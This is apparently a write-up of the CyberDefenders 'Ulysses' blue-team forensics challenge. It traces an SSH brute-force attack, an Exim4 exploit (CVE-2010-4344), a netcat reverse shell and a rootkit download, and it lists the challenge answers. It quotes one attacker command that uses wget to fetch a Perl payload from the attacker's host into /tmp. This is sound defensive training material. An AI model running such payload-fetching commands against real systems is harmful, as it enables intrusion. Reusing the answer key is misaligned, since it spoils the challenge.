
بسم الله والصلاة والسلام على رسول الله
اللهم علمنا ما ينفعنا وانفعنا بما علمتنا وقنا عذاب النار
challenge link :
https://cyberdefenders.org/blueteam-ctf-challenges/ulysses/
scenario : A research server was flagged for suspicious activity after multiple failed authentication attempts. Analysts detected a brute-force attack, unauthorized outbound connections, and possible persistence mechanisms. Using Volatility,\
a custom Debian5_26 profile was loaded to analyze memory dumps and identify malicious processes. Your task is to investigate forensic artifacts, determine the attacker’s entry point, and uncover any deployed payloads.\
The image verifies the Volatility profile integration and displays the initial process list from the compromised system.
preparation :
We have four files:\
victoria-v8.memdump.img (memory image)\
Debian5_26.zip (the profile for the memory image)\
victoria-v8.sda1.img (disk image)\
victoria-v8.kcore.img
First → victoria-v8.memdump.img, Debian5_26.zip\
To run Volatility on the memory image victoria-v8.memdump.img, its profile must be present in this path: volatility/volatility/plugins/overlays/linux/\
So the first thing we’ll do is place the profile file Debian5_26.zip in that path.


the profile name

Second: victoria-v8.sda1.img\
this is the disk image we have; we’ll open it in Autopsy or FTK, or mount it.



The attacker was performing a Brute Force attack. What account triggered the alert?
Since we’re talking about brute-force, you should check the logs in /var/log/auth.log.

it’s clear that the user Ulysses had multiple authentication failures via SSH, indicating that a brute-force attack was attempted over SSH.

ans → Ulysses
During investigating the logs. How many failed login attempts were alerted by the same user?
The first log entry belongs to the root user, not the one we’re investigating.

ans → 32
What kind of system runs on the targeted server?

from /etc/lsb-release or /etc/os-release or /etc/issue

ans → Debian GNU/Linux 5.0
What is the victim's IP address?
Main Configuration DHCP Files path :
/etc/dhcp/dhcpd.conf/etc/default/isc-dhcp-server/var/lib/dhcp/dhcpd.leases

For client-side DHCP lease information, you might find the lease file at /var/lib/<dhclient>/dhclient.leases

ans → 192.168.56.102
What are the attacker's two IP addresses?
I searched /var/log/auth.log and found nothing except the IP that was performing the brute-force: 192.168.56.1.

Now I need to check other logs to possibly find the attacker’s primary IP.So I’ll look in /var/log/exim.
/var/log/exim (often referring to the exim_mainlog file within it) is a directory on a Linux server that contains log files for the Exim Mail Transfer Agent
/var/log/exim/mainlog: This is the primary Exim log, containing a detailed record of all email activity, including successful deliveries, rejections, and any errors that occur during processing./var/log/exim/rejectlog: This log file stores information about emails that were specifically rejected due to a policy./var/log/exim/paniclog: This file records serious errors that could potentially prevent Exim from functioning correctly

In the rejectlog I found random characters and a very large email\
“ This looks like a buffer overflow “\
and this line:\
exec /bin/sh -c 'wget http://192.168.56.1/c.pl -O /tmp/c.pl'\
The attacker is attempting to download c.pl to /tmp from 192.168.56.1 there is also another files which downloaded from c2 server such as “tar” file and others\
Noting the port 192.168.56.1:4444, the attacker appears to be using Metasploit to spawn a reverse shell so the victim fetches files from the C2.


ans → 192.168.56.1 ,192.168.56.101
What is the nc service PID number that was running on the server?
Of course the goal is to inspect the reverse shell the attacker opened with the victim.\
You’ll find the attacker opened connections to the victim on multiple ports (8888 and 4444) and also used nc (netcat) to establish the connection.
using “netstat plugin”

ans → 2169
What service was exploited to gain access to the system?
As we saw above, the attacker exploited Exim4 and sent the victim an email containing a buffer overflow.

ans → exim4
What is the CVE number of exploited vulnerability

ans → CVE-2010–4344
During this attack, the attacker downloaded two files to the server. Provide the name of the compressed file.


ans → rk.tar
During the investigation, two ports were involved in the process of data exfiltration. Which port did the nc command used for the exfiltration?
from Q6
ans → 8888
Which port did the attacker try to block on the firewall?
I’ll examine the tar archive the attacker downloaded and extract it to check for anything related to iptables or firewalld.


ans → 45295
سبحانك اللهم وبحمدك, أشهد أن لا إله إلا أنت, نستغفرك ونتوب إليك